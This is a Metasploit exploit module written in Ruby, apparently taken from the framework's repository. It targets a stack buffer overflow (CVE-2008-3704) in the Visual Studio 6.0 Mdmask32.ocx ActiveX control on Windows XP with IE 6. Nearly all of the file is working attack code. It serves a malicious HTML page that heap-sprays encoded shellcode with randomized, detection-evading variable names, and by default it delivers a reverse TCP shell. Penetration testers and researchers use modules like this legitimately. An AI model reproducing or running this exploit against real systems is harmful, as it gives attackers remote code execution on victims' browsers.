bcoles
139 lines
4.0 KiB
Ruby
139 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Microsoft Visual
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Studio 6.0. When passing a specially crafted string to the Mask
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parameter of the Mdmask32.ocx ActiveX Control, an attacker may
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be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Symantec', # Discovery and PoC
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'koshi', # Exploit
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'MC' # Metasploit
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],
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'References' => [
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[ 'BID', '30674' ],
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[ 'CVE', '2008-3704' ],
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[ 'CWE', '119' ],
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[ 'EDB', '6244' ],
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[ 'EDB', '6317' ],
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[ 'OSVDB', '47475' ],
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[ 'MSB', 'MS08-070' ],
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[ 'URL', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/44444' ],
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],
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'DefaultOptions' => {
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'PAYLOAD' => 'windows/shell/reverse_tcp',
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'EXITFUNC' => 'process'
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},
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'Payload' => {
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'Space' => 1024,
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'BadChars' => "\x00"
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},
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'Platform' => 'win',
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'Arch' => [ARCH_X86],
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'Targets' => [
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[
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'Windows XP x86 SP0-SP3 IE 6.0 SP0-SP3', {}
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]
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],
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'DisclosureDate' => '2008-08-13',
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'DefaultTarget' => 0,
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'Notes' => {
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'AKA' => ['Masked Edit Control Memory Corruption Vulnerability'],
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'Stability' => [CRASH_SERVICE_DOWN],
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'SideEffects' => [],
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'Reliability' => [UNRELIABLE_SESSION]
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}
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)
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)
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register_options(
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[
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OptString.new('URIPATH', [ true, 'The server URI path to use.', '/' ])
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]
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)
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, _request)
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# Re-generate the payload.
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return if ((regenerate_payload(cli)).nil?)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Create some nops.
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nops = Rex::Text.to_unescape(make_nops(4))
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# Randomize the JavaScript variable names.
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var_i = rand_text_alpha(2..30)
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rand1 = rand_text_alpha(1..100)
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rand2 = rand_text_alpha(1..100)
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rand3 = rand_text_alpha(1..100)
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rand4 = rand_text_alpha(1..100)
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rand5 = rand_text_alpha(1..100)
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rand6 = rand_text_alpha(1..100)
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rand7 = rand_text_alpha(1..100)
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rand8 = rand_text_alpha(1..100)
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rand9 = rand_text_alpha(1..100)
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rand10 = rand_text_alpha(1..100)
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rand11 = rand_text_alpha(1..100)
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randnop = rand_text_alpha(1..100)
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content = %|
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<html>
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<script language="javascript">
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var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
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var #{rand2}='"></object>';
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var #{rand3} = '';
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for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}
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var #{rand4} = unescape("#{shellcode}");
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var #{rand5} = (#{rand4}.length * 2);
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var #{randnop} = "#{nops}";
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var #{rand6} = unescape(#{randnop});
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var #{rand7} = 0x0c0c0c0c;
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var #{rand8} = 0x100000;
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var #{rand9} = #{rand8} - (#{rand5} + 1);
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var #{rand10} = (#{rand7}+#{rand8})/#{rand8};
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var #{rand11} = new Array();
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while (#{rand6}.length*2<#{rand9})
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{ #{rand6} += #{rand6}; }
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#{rand6} = #{rand6}.substring(0,#{rand9}/2);
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for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)
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{ #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }
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document.write(#{rand1}+#{rand3}+#{rand2});
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</script>
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</html>
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print_status("Sending #{name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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